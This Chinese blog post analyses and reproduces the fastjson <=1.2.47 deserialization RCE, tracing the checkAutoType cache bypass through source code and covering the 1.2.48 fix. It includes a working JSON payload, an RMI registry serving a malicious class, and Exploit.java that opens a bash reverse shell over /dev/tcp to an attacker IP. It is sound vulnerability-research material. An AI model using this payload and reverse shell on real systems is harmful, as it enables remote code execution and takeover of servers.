fastjson反序列化过滤字段属性_Fastjson<=1.2.47反序列化漏洞源码分析及复现

简介


fastjson 是由阿里开发的一种 json 的解析器和生成器。在 2019 年 6 月 26 日,用户提出 issue [1],存在远程代码执行的版本 <=1.2.47

环境准备


  • jdk 1.6.0.65
  • fastjson 1.2.47

Let's Hack


POC

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}

复现采用 jndi 利用方式,建议先阅读us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE[2] ,了解 jndi 注入。

RMIRegistry.java

package deserialize;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIRegistry {   public static void main(String[] args) throws Exception {       Registry registry = LocateRegistry.createRegistry(1099);       Reference reference = new Reference("Exploit",               "Exploit","http://localhost/");//这里请求的localhost 80端口的Exploit对象       ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);       registry.bind("Exploit",referenceWrapper);   }}

Exploit.java

import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class Exploit implements ObjectFactory {    @Override    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) {        exec();        return null;    }    private static void exec() {        try {            Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/192.168.66.131/9999        } catch (IOException e) {            e.printStackTrace();        }    }    public static void main(String[] args) {        exec();    }}

POC.java

package deserialize;import com.alibaba.fastjson.JSON;public class POC {    public static void main(String[] argv) {        String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x1001\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}";        JSON.parse(payload);    }}
  1. 使用javac编译Exploit.java,得到的Exploit.class,放入本地或其他服务器(由于 rmi servicei 请求80端口,所以保证服务器绑定在80端口)的根目录。
  2. 运行 RMIRegistry.java。
  3. 攻击机(192.168.66.13) 运行netcat -lvvp 9999 监听 9999 端口,运行 POC.java,如图 3-1可以看到成功拿到 shell。d50a6edcb8c7ef370ef017bd530140b0.png
    图3-1

漏洞原理


Fastjson 中负责处理 parse 的一般是 DefaultJSONParser.parseObject。fastjson 中将带解析的数据用 JSONLexer 封装。对如下解析的数据

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}

从左向右解析。ec858c78689d6cca80c7a199fd7c9186.png

图4-1

图 4-1 中,当解析到@type时,进入checkAutoType,传入的参数typeName=java.lang.Class,跟进checkAutoType方法。

public Class> checkAutoType(String typeName, Class> expectClass, int features) {        if (typeName == null) {            return null;        }				//省略部分代码        if (clazz == null) {            clazz = TypeUtils.getClassFromMapping(typeName);//将typeName作为key从mappings(ConcurrentMap对象)中查找对象,这个相当于从cache取值,刚开始没有存入对象,取出值为null        }        if (clazz == null) {            clazz = deserializers.findClass(typeName);// 将typeName作为key从deserializers(IdentityHashMap)中查找对象        }        if (clazz != null) {            if (expectClass != null                    && clazz != java.util.HashMap.class                    && !expectClass.isAssignableFrom(clazz)) {                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());            }            return clazz;        }        if (!autoTypeSupport) {//判断提取的对象hash值是否在denyHashCodes,也就是黑名单过滤            long hash = h3;            for (int i = 3; i < className.length(); ++i) {                char c = className.charAt(i);                hash ^= c;                hash *= PRIME;                if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {                    throw new JSONException("autoType is not support. " + typeName);                }                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {                    if (clazz == null) {                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);                    }                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());                    }                    return clazz;                }            }        }        if (clazz == null) {            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);        }        //省略部分代码        return clazz;    }

TypeUtils.getClassFromMapping方法,第一次没有存入 cache 为 null,跟进deserializers.findClass(typeName),可以看到该方法通过keyString(这里传入的是java.lang.class)匹配this.buckets的 className,this.buckets存在java.lang.class,所以返回java.lang.class

public Class findClass(String keyString) {        for(int i = 0; i < this.buckets.length; ++i) {            IdentityHashMap.Entry bucket = this.buckets[i];            if (bucket != null) {                for(IdentityHashMap.Entry entry = bucket; entry != null; entry = entry.next) {                    Object key = bucket.key;                    if (key instanceof Class) {                        Class clazz = (Class)key;                        String className = clazz.getName();                        if (className.equals(keyString)) {                            return clazz;                        }                    }                }            }        }        return null;    }

回到DefaultJSONParser.parseObject()方法,继续跟进,如下图 4-2,通过 config.getDeserializer 获得反序列化的路由类 MiscCodec。并调用该路由类的deserialze(this, clazz, fieldName)方法,de4f2d20aa702d8e12047806f15e5974.png

图4-2

跟进该方法中,如图 4-3,主要调用parser.parse()方法提取到com.sun.rowset.JdbcRowSetImpl赋给objVal对象。337dbd8b756885226f0d39bc5124e228.png

图4-3

继续往下走,如图 4-4,调用TypeUtils.loadClass4eb1d39910768a169a8862a4b57988fa.png

图4-4

跟进loadClass(String className, ClassLoader classLoader)方法,如图 4-5loadClass调用该方法的重载方法,设置为true4ae8280ced251ffbcbe5e79dd78f15d3.png

图4-5

跟进loadClass的重载方法,将com.sun.rowset.JdbcRowSetImpl存入上文在checkAutoType中提到mappings中(即缓存中)。4079694a2bf8afc34a747b05fbfebfda.png

图4-6

至此第一部分解析完了,主要做的是将com.sun.rowset.JdbcRowSetImpl存入 mappings 中,接下来解析第二部分,让我们回到DefaultJSONParser.parseObject(),解析的第二个键值对如下:

"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

和第一个一样,不同的是,此时的 typeName 为com.sun.rowset.JdbcRowSetImplb4982a8afe4253886a3157752bc25ca0.png

图4-7

跟进config.checkAutoType(String typeName, Class> expectClass, int features)方法,如图 4-8,由于第一次解析中将com.sun.rowset.JdbcRowSetImpl存入 mappings 中。如图 4-9,这次直接通过TypeUtils.getClassFromMapping(typeName);获取到 com.sun.rowset.JdbcRowSetImpl 对象。并返回该对象。(同样绕过 checkAutoType 中黑名单限制以及 autoType 开关的检查)f3f41f210098b7794d9f792f13e8f136.png

图4-8

4533624f40b706d9912b1f10fca9226b.png

图4-9

和第一次一样,如图 4-10调用deserializer.deserialze(this, clazz, fieldName),不同的是这次得到的反序列化路由类为FastjsonASMDeserializer

6ea88eae2cd56663f506f2cb77ced095.png

图4-10

跟进deserialze(DefaultJSONParser parser, Type type,Object fieldName,Object object, int features, int[] setFlags),首先有一些 asm 操作,接着调用如deserialze方法,如图 4-1168544288353f92a61e5389755d8537a4.png

图4-11

setValue中通过method.invoke(object, value)反射执行com.sun.rowset.JdbcRowSetImpl.setAutoCommit方法

6bd01f31e6c997994e9543ab209c18fa.png

图4-12

跟进setAutoCommit中,如图4-13调用this.connect()bb0cd0d5fef17f761acee78e015212dc.png

图4-13

图4-14this.connect()对成员变量 dataSourceName 进行 lookup,成功利用 jndi 注入。9ae40a0e38ba47443d16ead476022c9b.png

图4-14
整个利用链:
Exec:620,Runtime //命令执行Lookup:417,InitalContext //jndi lookup函数通过rmi加载恶意类setAutoCommit:4067,JdbcRowSetImpl //通过setAutoCommit触发lookup函数setValue:96,FieldDeserializer //反射调用传入类的set函数deserialze:600, JavaBeanDeserializer //通过循环调用传入类 set,get,is函数parseObject:368,DefaultJSONParser //解析传入的json字符串

官方修复


官方在 1.2.48 版本更改以下代码进行修复,推荐升级到最新版本。

  1. 黑名单修复,增加8409640769019589119(java.lang.Class)*1459860845934817624(java.net.InetAddress)*两个类的黑名单。ae95d4869621cfbd7005ea1af2618710.png
  2. MiscCodec.java 文件对 cache 缓存设置成 false3c8e7b6f8d35e7ebebc1a27758d89783.png
  3. ParserConfig.java 文件对 checkAutoType()进行了相关策略调整.a8ef146780e40cc2853e8d3a637b71a1.png

漏洞检测


采用一些三方组件自动化检测工具,如安全玻璃盒 IAST 产品等,结果如下:

b7082540311ab3a6e7596b897b428a7b.png

参考资料

[1]

issue: https://github.com/alibaba/fastjson/issues/2513

[2]

us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE: https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值